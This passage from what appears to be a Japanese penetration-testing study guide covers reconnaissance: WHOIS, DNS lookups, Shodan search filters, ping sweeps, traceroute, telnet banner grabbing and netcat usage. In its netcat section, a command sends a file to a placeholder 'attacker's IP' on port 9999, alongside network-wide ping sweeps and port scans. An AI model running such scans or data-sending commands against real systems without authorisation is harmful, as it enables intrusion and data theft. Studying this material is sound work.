2.1. 偵察

2.1.1. 偵察

偵察

偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。
システム上で最初の足がかりを獲得するための最初のステップと言える。

受動的な偵察と能動的な偵察

受動的な偵察

受動的な偵察は公開されている情報から行う偵察のこと。
攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。

受動的な偵察の例は以下の通り。

  • パブリックDNSサーバからドメインのDNSレコードを検索する
  • 対象サイトに関連する求人広告を確認する
  • 対象企業に関するニュース記事を閲覧する

能動的な偵察

能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。
能動的な偵察の例は以下の通り。

  • HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
  • 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
  • 業者を装って会社敷地内に侵入する

2.1.2. 受動的なネットワーク偵察

WHOIS

WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。
WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。
ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。

  • レジストラ
  • 登録者の連絡先情報
  • 作成日、更新日、有効期限
  • ネームサーバ

whoisコマンド

WHOIS情報を確認できるコマンド。

WHOIS <DOMAIN_NAME>

whoisサービス

JPRSのWhoisサービスも利用できる。

https://whois.jprs.jp/
https://www.nic.ad.jp/ja/whois/ja-gateway.html

ASNのリスト

国外のwhois情報はASNのdescription欄を検索し、管理NWを洗い出す。

https://bgp.potaroo.net/cidr/autnums.html
https://hackertarget.com/as-ip-lookup/

nslookupとdig

nslookupコマンド

IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。

nslookup [オプション] [ドメイン名] [DNSサーバ]

オプションには-type=でクエリタイプが指定できる。

クエリの種類返す情報
AIPv4アドレス
AAAAIPv6アドレス
CNAME正規名
MXメールサーバ
SOAゾーンの管理情報
TXTTXTレコード
# 権威サーバの検索
nslookup -q=NS [ドメイン]

digコマンド

詳細な情報をDNSサーバから取得できるコマンド。

dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]
オプション説明
-x指定されたIPアドレスの逆引きを行う
-p ポート番号問い合わせ先のポート番号を指定(53番がデフォルト)
クエリタイプ説明
aホスト名に対応するIPアドレス(デフォルト)
ptrIPアドレスに対応するホスト名
nsDNSサーバ
mxメールサーバ
soaSOAレコード情報
hinfoホスト情報
axfrゾーン転送
txt任意の文字列
anyすべての情報

なお問い合わせ後に表示されるflagsには以下のようなものがある。

フラグ説明
qr問い合わせに対する回答
aa権威のある回答
rd再帰検索を希望
ra再帰検索が可能

また回答の表示されるセクションは4つに分かれる。

  • QUSETION SECITION
    • 問い合わせ内容の表示
  • ANSWER SECTION
    • 問い合わせの回答内容の表示
  • AUTHORITY SECTION
    • 問い合わせ先に権威がある場合に表示
  • ADDITIONAL SECTION
    • 回答したホストのIPアドレスなど追加情報が表示

DNSDumpster

DNSDumpsterDNS クエリに対する詳細な回答を提供するオンラインサービス
DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。 また収集したDNS情報を読みやすい表とグラフで表示してくれる。

Shodan.io

Shodan.ioクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。
防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。

Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。

サービスの検索とASN

shodan.ioでドメイン名を検索するとASNが表示される。
ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。
これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。

ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。

shodan.ioの検索バーでフィルタASN:[number]と検索するとそのASN上にあるWEBサイト全体を確認できる。

検索フィルタ

コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。

asn:AS14061 product:MySQL
フィルタ説明
asnASNで検索
country
ipIPアドレス
product製品/サービス名
osOS
portポート

より多くのフィルタはコチラ

その他ドメイン調査

サービスURLユースケース
ViewDNS,infohttps://viewdns.info/登録者名を用いたドメイン検索
Reverse Whois Lookuphttps://www.reversewhois.io/登録者名を用いたドメイン検索
SecurityTrailhttps://securitytrails.com/ドメインに対するキーワード調査
Censysの証明書検索https://censys.io/certificatesSSL/TLS証明書のドメイン/発行者に対するキーワード検索

2.1.3. 能動的なネットワーク偵察

ブラウザからの偵察

Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。
その際に役立つアドオンを記載する。

FoxyProxy

ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。

User-Agent Switcher and Manager

別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。

Wappalyzer

訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。

コマンドによる偵察

指定したホストにICMPパケットを送った際の反応を確認できる。 なおIPv6の場合はping6コマンドを使う。

ping [ホスト名] [IPアドレス]
オプション説明
-nホスト名を指定せずにIPアドレスを表示する
-c 回数指定した回数のみICMPパケットを送信する
-i 間隔指定した間隔ごとにICMPパケットを送信する
-s サイズ指定したパケットデータのサイズで送信する

また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。

# Linux用1
for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
# Linux用2
for ip in $(seq 1 255) ; do ping 192.168.1.$ip -c 1 | grep "from" ; done

# Windows用1
for /L %i in (1,1,255) do ping 192.168.1.%i -n 1 -w 10 | findstr "TTL"
# Windows用2
for ($i = 1; $i -le 255; $i++) { ping -n 1 -w 10 192.168.0.$i | Select-String "TTL" }

tracerouteコマンド

指定したホストまでパケットが伝わる経路を表示するコマンド。
ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。

なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。 なおIPv6の場合はtraceroute6コマンドを使う。

traceroute [ ホスト名 | ドメイン名 | IPアドレス ]
オプション説明
-i インターフェースネットワークインターフェースを指定する
-nホスト名をIPアドレスで表示する

telnetコマンド

telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる

telnet <IPアドレス | ホスト名> [ポート]

バナーを取得する際は以下で行う。

  1. telnet <IPアドレス | ホスト名> [ポート]でアクセス
  2. GET / HTTP/1.1と入力(80の場合)しEnter
  3. host: 任意の値でEnterしEnterを2回押す

ncコマンド

ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。

  • リスニングポートに接続するクライアントとしての機能
  • 選択したポートをリッスンするサーバーとして機能
nc [ ホスト名 | IPアドレス ] [ポート番号]

なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。 また1024 未満のポート番号をリッスンするには root 権限が必要となる。

オプション意味
-lリスニングモード
-pポート番号を指定
-n数値のみ。DNS経由でホスト名を解決できない
-v詳細な出力 (バグを発見するのに役立つ)
-vv非常に詳細 (オプション)
-kクライアントが切断された後もリッスンを続ける

使用例は以下の通り。

# サーバとして待ち受け
nc -lvnp [ポート番号]

# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]

# 受信側
nc -l -p 9999 > [filename]

# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]